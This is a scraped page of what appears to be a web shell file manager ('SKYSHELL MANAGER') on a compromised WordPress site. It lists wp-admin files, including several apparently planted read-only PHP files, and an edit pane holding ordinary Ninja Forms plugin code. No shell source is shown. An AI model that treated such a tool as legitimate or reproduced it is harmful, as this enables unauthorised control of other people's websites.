📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: List.php
<?php if ( ! defined( 'ABSPATH' ) ) exit; /** * Class NF_Abstracts_List */ abstract class NF_Abstracts_List extends NF_Abstracts_Field { protected $_name = ''; protected $_section = 'common'; protected $_type = 'list'; protected $_test_value = FALSE; protected $_settings_all_fields = array( 'key', 'label', 'label_pos', 'required', 'options', 'classes', 'admin_label', 'help', 'description' ); public static $_base_template = 'list'; public function __construct() { parent::__construct(); add_filter( 'ninja_forms_custom_columns', array( $this, 'custom_columns' ), 10, 2 ); add_filter( 'ninja_forms_render_options', array( $this, 'query_string_default' ), 10, 2 ); } public function get_parent_type() { return 'list'; } public function admin_form_element( $id, $value ) { $form_id = get_post_meta( absint( $_GET[ 'post' ] ), '_form_id', true ); $field = Ninja_Forms()->form( $form_id )->get_field( $id ); $settings = $field->get_settings(); $settings[ 'options' ] = apply_filters( 'ninja_forms_render_options', $settings[ 'options' ], $settings ); $settings[ 'options' ] = apply_filters( 'ninja_forms_render_options_' . $field->get_setting( 'type' ), $settings[ 'options' ], $settings ); $options = '<option>--</option>'; if ( is_array( $settings[ 'options' ] ) ) { foreach( $settings[ 'options' ] as $option ){ $selected = ( $value == $option[ 'value' ] ) ? "selected" : ''; $options .= "<option value='" . esc_attr( $option[ 'value' ] ) . "' $selected>" . esc_html( $option[ 'label' ] ) . "</option>"; } } return "<select class='widefat' name='fields[" . esc_attr( $id ) . "]' id=''>$options</select>"; } /* * Appropriate output for a column cell in submissions list. */ public function custom_columns( $value, $field ) { if( $this->_name != $field->get_setting( 'type' ) ) return $value; //Consider & to be the same as the & values in database in a selectbox saved value: if( ! is_array( $value ) ) $value = array( htmlspecialchars_decode($value) ); $settings = $field->get_settings(); $options = $field->get_setting( 'options' ); $options = apply_filters( 'ninja_forms_render_options', $options, $settings ); $options = apply_filters( 'ninja_forms_render_options_' . $field->get_setting( 'type' ), $options, $settings ); $output = ''; if( ! empty( $options ) ) { foreach ($options as $option) { if ( ! in_array( $option[ 'value' ], $value ) ) continue; $output .= esc_html( $option[ 'label' ] ) . "<br />"; } } return $output; } public function query_string_default( $options, $settings ) { if( ! isset( $settings[ 'key' ] ) ) return $options; $field_key = $settings[ 'key' ]; if( ! isset( $_GET[ $field_key ] ) ) return $options; foreach( $options as $key => $option ){ if( ! isset( $option[ 'value' ] ) ) continue; if( $option[ 'value' ] != $_GET[ $field_key ] ) continue; $options[ $key ][ 'selected' ] = 1; } return $options; } }
Save